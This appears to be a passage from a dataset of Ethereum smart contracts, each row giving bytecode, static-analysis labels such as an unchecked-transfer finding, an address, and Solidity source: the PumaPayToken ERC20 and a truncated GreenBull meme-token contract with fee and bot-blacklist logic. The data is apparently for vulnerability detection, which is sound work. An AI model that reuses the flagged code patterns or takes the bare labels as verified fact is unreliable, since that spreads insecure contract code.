60200180610d9c6025913960400191505060405180910390fd5b6107913382610bf4565b600354604080513381526001600160a01b039092166020830152308282015260608201849052517f6b460f6f5497bb72eeec65f6df538e6388b2e74b8fc03e7d318653a663e737829181900360800190a19392505050565b60006107f6338484610ada565b50600192915050565b6003546001600160a01b031681565b6004805460408051637672989960e11b81523093810193909352516000926001600160a01b039092169163ece53132916024808301928692919082900301818387803b15801561085d57600080fd5b505af1158015610871573d6000803e3d6000fd5b5050604080518082018252601f81527f5059524f544f4b454e3a20696e73756666696369656e742062616c616e636500602080830191909152336000908152600190915291909120546108c8935091508490610c45565b336000908152600160205260408120919091556108e361041c565b6000549091506108f39084610bb2565b600090815561090860646104d7866002610a38565b905060006109168583610bb2565b90506000610930670de0b6b3a76400006104d78685610a38565b6003546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b15801561098757600080fd5b505af115801561099b573d6000803e3d6000fd5b505050506040513d60208110156109b157600080fd5b5050600354604080513381526001600160a01b039092166020830152308282015260608201869052517fee02732fab40ece8284c756220846dff4b8d32058b86b35b4f0459bf172fcef09181900360800190a195945050505050565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b600082610a4757506000610416565b82820282848281610a5457fe5b0414610a915760405162461bcd60e51b8152600401808060200182810382526021815260200180610dc16021913960400191505060405180910390fd5b9392505050565b6000610a9183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610cdc565b6000610ae8826103e8610a98565b6001600160a01b038416600090815260016020526040902054909150610b1090828403610d41565b6001600160a01b038085166000908152600160205260408082209390935590861681522054610b3f9083610bb2565b6001600160a01b03851660009081526001602052604081209190915554610b669082610bb2565b6000556040805183815290516001600160a01b0380861692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505050565b6000610a9183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c45565b6001600160a01b038216600090815260016020526040902054610c179082610d41565b6001600160a01b03831660009081526001602052604081209190915554610c3e9082610d41565b6000555050565b60008184841115610cd45760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c99578181015183820152602001610c81565b50505050905090810190601f168015610cc65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610d2b5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610c99578181015183820152602001610c81565b506000838581610d3757fe5b0495945050505050565b600082820183811015610a91576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe5059524f544f4b454e3a2062617365546f6b656e207472616e73666572206661696c65642e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a26469706673582212204388fafa6700e29d5413ce192ac75862d8c80195235c17b00fc2f46ae4be6eb164736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,158 |
0x60908477e34ac000c2b6643e17d77c3c6e4acb30
|
pragma solidity ^0.4.19;
// File: ../node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: ../node_modules/zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: ../node_modules/zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: ../contracts/PumaPayToken.sol
/// PumaPayToken inherits from MintableToken, which in turn inherits from StandardToken.
/// Super is used to bypass the original function signature and include the whenNotMinting modifier.
contract PumaPayToken is MintableToken {
string public name = "PumaPayToken";
string public symbol = "PMA";
uint8 public decimals = 18;
function PumaPayToken() public {
}
/// This modifier will be used to disable all ERC20 functionalities during the minting process.
modifier whenNotMinting() {
require(mintingFinished);
_;
}
/// @dev transfer token for a specified address
/// @param _to address The address to transfer to.
/// @param _value uint256 The amount to be transferred.
/// @return success bool Calling super.transfer and returns true if successful.
function transfer(address _to, uint256 _value) public whenNotMinting returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Transfer tokens from one address to another.
/// @param _from address The address which you want to send tokens from.
/// @param _to address The address which you want to transfer to.
/// @param _value uint256 the amount of tokens to be transferred.
/// @return success bool Calling super.transferFrom and returns true if successful.
function transferFrom(address _from, address _to, uint256 _value) public whenNotMinting returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d1578063661884631461032b57806370a08231146103855780637d64bcb4146103d25780638da5cb5b146103ff57806395d89b4114610454578063a9059cbb146104e2578063d73dd6231461053c578063dd62ed3e14610596578063f2fde38b14610602575b600080fd5b34156100f657600080fd5b6100fe61063b565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b61064e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ec565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b6102136107de565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e8565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610819565b604051808260ff1660ff16815260200191505060405180910390f35b34156102dc57600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061082c565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61036b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a12565b604051808215151515815260200191505060405180910390f35b341561039057600080fd5b6103bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca3565b6040518082815260200191505060405180910390f35b34156103dd57600080fd5b6103e5610ceb565b604051808215151515815260200191505060405180910390f35b341561040a57600080fd5b610412610db3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561045f57600080fd5b610467610dd9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104a757808201518184015260208101905061048c565b50505050905090810190601f1680156104d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ed57600080fd5b610522600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e77565b604051808215151515815260200191505060405180910390f35b341561054757600080fd5b61057c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ea6565b604051808215151515815260200191505060405180910390f35b34156105a157600080fd5b6105ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110a2565b6040518082815260200191505060405180910390f35b341561060d57600080fd5b610639600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611129565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e45780601f106106b9576101008083540402835291602001916106e4565b820191906000526020600020905b8154815290600101906020018083116106c757829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600360149054906101000a900460ff16151561080557600080fd5b610810848484611281565b90509392505050565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088a57600080fd5b600360149054906101000a900460ff161515156108a657600080fd5b6108bb8260015461163b90919063ffffffff16565b600181905550610912826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b23576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bb7565b610b36838261165990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4957600080fd5b600360149054906101000a900460ff16151515610d6557600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e6f5780601f10610e4457610100808354040283529160200191610e6f565b820191906000526020600020905b815481529060010190602001808311610e5257829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515610e9457600080fd5b610e9e8383611672565b905092915050565b6000610f3782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111c157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112be57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561130b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561139657600080fd5b6113e7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061154b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015151561164f57fe5b8091505092915050565b600082821115151561166757fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156116af57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116fc57600080fd5b61174d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117e0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163b90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820ff13213594001bfe4201b7c8f73b7d20ba3f128ecd8895921a86b84e3870871c0029
|
{"success": true, "error": null, "results": {}}
| 9,159 |
0xac7d4aB38668A27a4fBd1d88FB65fc4C344731C5
|
/**
*/
/*
GreenBull is here to remind you of the Green Days and to feel these days Green Days again. Because we will see a lot of green in our chart! 👀🟢🐂
Website: https://greenbullerc.com/
Telegram: https://t.me/greenbullerc
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GreenBull is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GreenBull";
string private constant _symbol = "GBULL";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 3;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 3;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private _removeTxLimit = false;
uint256 public _maxTxAmount = 1e10 * 10**9;
uint256 public _maxWalletSize = 2e10 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
